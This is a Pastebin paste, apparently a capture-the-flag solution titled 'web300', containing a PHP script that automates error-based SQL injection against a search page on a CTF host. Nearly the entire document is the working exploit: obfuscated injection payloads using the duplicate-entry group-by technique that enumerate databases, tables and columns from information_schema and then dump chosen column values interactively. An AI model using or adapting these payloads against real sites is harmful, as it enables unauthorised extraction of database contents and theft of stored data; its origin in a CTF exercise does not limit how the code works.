Black-ID

web300

May 14th, 2014
457
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.60 KB | None | 0 0
  1. <?php
  2. #GoBack
  3. #@Black-ID
  4.     function http_send($payload)
  5. {
  6.     $packet  = "GET /SearchENgine/index.php?list={$payload} HTTP/1.1\r\n";
  7.     $packet .= "Host: ctf.shellmates.com\r\n";
  8.     $packet .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1) Gecko/20090624 Firefox/3.5\r\n";
  9.     $packet .= "Connection: close\r\n\r\n";
  10.    
  11.     if (($sock = fsockopen("ctf.shellmates.com", 80))){
  12.     fputs($sock, $packet);
  13.     return stream_get_contents($sock);
  14.     }
  15. }
  16.     function Match($payload){
  17.     if(preg_match("/Duplicate entry '~'(.*)'~1' for key/", http_send($payload), $matches)){
  18.     return $matches[1];
  19.     }else{
  20.     return "NotFound";
  21.     }
  22.     }
  23.     function strToHex($string)
  24.     {
  25.         $hex='';
  26.         for ($i=0; $i < strlen($string); $i++)
  27.         {
  28.             $hex .= dechex(ord($string[$i]));
  29.         }
  30.         return $hex;
  31.     }
  32.     function hexToStr($hex)
  33.     {
  34.         $string='';
  35.         for ($i=0; $i < strlen($hex)-1; $i+=2)
  36.         {
  37.             $string .= chr(hexdec($hex[$i].$hex[$i+1]));
  38.         }
  39.         return $string;
  40.     }
  41.      
  42.     $payload = "1')/**/and(select/**/1/**/from(select/**/count(*),concat((select/**/(select/**/(select/**/concat(0x7e,0x27,count(schema_name),0x27,0x7e)/**/from/**/information_schema.schemata/**/LIMIT/**/0,1))/**/from/**/`information_schema`.tables/**/limit/**/0,1),floor(rand(0)*2))x/**/from/**/`information_schema`.tables/**/group/**/by/**/x)a)/**/and/**/1=1%23";
  43.     $max = intval(Match($payload))-1;
  44.     for ($i = 0; $i <= $max; $i++) {
  45.     $payload2 = "1')/**/and(select/**/1/**/from(select/**/count(*),concat((select/**/(select/**/(select/**/concat(0x7e,0x27,cast(schema_name/**/As/**/char),0x27,0x7e)/**/from/**/information_schema.schemata/**/LIMIT/**/".strval($i).",1))/**/from/**/`information_schema`.tables/**/limit/**/0,1),floor(rand(0)*2))x/**/from/**/`information_schema`.tables/**/group/**/by/**/x)a)/**/and/**/1=1%23";
  46.     $db[$i] = Match($payload2);
  47.     print "| ".$i." : ".$db[$i]."\n";
  48.     }
  49.     print "\n[*] Select Database : ";
  50.     $dtb=trim(fgets(STDIN));
  51.     if($dtb > $max ) {
  52.     print "[-] Database NotFound\n";
  53.     }else{
  54.     $mdb = "0x".strToHex($db[intval($dtb)]);
  55.     $payload3 = "1')/**/and(select/**/1/**/from(select/**/count(*),concat((select/**/(select/**/(select/**/concat(0x7e,0x27,count(table_name),0x27,0x7e)/**/from/**/`information_schema`.tables/**/WHERE/**/table_schema=".$mdb."))/**/from/**/`information_schema`.tables/**/limit/**/0,1),floor(rand(0)*2))x/**/from/**/`information_schema`.tables/**/group/**/by/**/x)a)/**/and/**/1=1%23";
  56.     $max = intval(Match($payload3))-1;
  57.     for ($i = 0; $i <= $max; $i++) {
  58.     $payload4 = "1')/**/and(select/**/1/**/from(select/**/count(*),concat((select/**/(select/**/(select/**/concat(0x7e,0x27,cast(table_name/**/as/**/char),0x27,0x7e)/**/from/**/`information_schema`.tables/**/WHERE/**/table_schema=".$mdb."/**/LIMIT/**/".strval($i).",1))/**/from/**/`information_schema`.tables/**/limit/**/0,1),floor(rand(0)*2))x/**/from/**/`information_schema`.tables/**/group/**/by/**/x)a)/**/and/**/1=1%23";
  59.     $table[$i] = Match($payload4);
  60.     print "| ".$i." : ".$table[$i]."\n";
  61.     }
  62.     print "\n[*] Select Table : ";
  63.     $ttb=trim(fgets(STDIN));
  64.     if($dtb > $max ) {
  65.     print "[-] Table NotFound\n";
  66.     }else{
  67.     $mtb = "0x".strToHex($table[intval($ttb)]);
  68.     $payload5 = "1')/**/and(select/**/1/**/from(select/**/count(*),concat((select/**/(select/**/(select/**/concat(0x7e,0x27,count(column_name),0x27,0x7e)/**/FROM/**/`information_schema`.columns/**/WHERE/**/table_schema=".$mdb."/**/And/**/table_name=".$mtb."))/**/from/**/`information_schema`.tables/**/limit/**/0,1),floor(rand(0)*2))x/**/from/**/`information_schema`.tables/**/group/**/by/**/x)a)/**/and/**/1=1%23";
  69.     $max = intval(Match($payload5))-1;
  70.     for ($i = 0; $i <= $max; $i++) {
  71.     $payload6 = "1')/**/and(select/**/1/**/from(select/**/count(*),concat((select/**/(select/**/(select/**/concat(0x7e,0x27,cast(column_name/**/as/**/char),0x27,0x7e)/**/FROM/**/`information_schema`.columns/**/WHERE/**/table_schema=".$mdb."/**/AND/**/table_name=".$mtb."/**/LIMIT/**/".strval($i).",1))/**/from/**/`information_schema`.tables/**/limit/**/0,1),floor(rand(0)*2))x/**/from/**/`information_schema`.tables/**/group/**/by/**/x)a)/**/and/**/1=1%23";
  72.     $column[$i] = Match($payload6);
  73.     print "| ".$i." : ".$column[$i]."\n";
  74.     }
  75.     print "\n[*] Select Column : ";
  76.     $clb=trim(fgets(STDIN));
  77.     $payload7 = "1')/**/and(select/**/1/**/from(select/**/count(*),concat((select/**/(select/**/(select/**/concat(0x7e,0x27,count(".hexToStr(substr($mtb,/**/2)).".".$column[0]."),0x27,0x7e)/**/FROM/**/`".hexToStr(substr($mdb,/**/2))."`.".hexToStr(substr($mtb,/**/2))."/**/LIMIT/**/0,1)/**/)/**/from/**/`information_schema`.tables/**/limit/**/0,1),floor(rand(0)*2))x/**/from/**/`information_schema`.tables/**/group/**/by/**/x)a)/**/and/**/1=1/**/and/**/1=1%23";
  78.      
  79.     $max = intval(Match($payload7))-1;
  80.      
  81.     for ($i = 0; $i <= $max; $i++) {
  82.     $aclm = explode ("-", $clb);
  83.     print "+------------------------------------------\n";
  84.     foreach ($aclm as $clm) {
  85.     $mcl = $column[intval($clm)];
  86.     $payload7 = "1')/**/and(select/**/1/**/from(select/**/count(*),concat((select/**/(select/**/(select/**/concat(0x7e,0x27,".$mcl.",0x27,0x7e)/**/FROM/**/`".hexToStr(substr($mdb,/**/2))."`.".hexToStr(substr($mtb,/**/2))."/**/LIMIT/**/".strval($i).",1)/**/)/**/from/**/`information_schema`.tables/**/limit/**/0,1),floor(rand(0)*2))x/**/from/**/`information_schema`.tables/**/group/**/by/**/x)a)/**/and/**/1=1/**/and/**/1=1%23";
  87.     $value = Match($payload7);
  88.      
  89.     print "|  ".$mcl." :".$value."\n";
  90.     }
  91.     }
  92.     }
  93.     }
  94.     ?>
Advertisement
Add Comment
Please, Sign In to add comment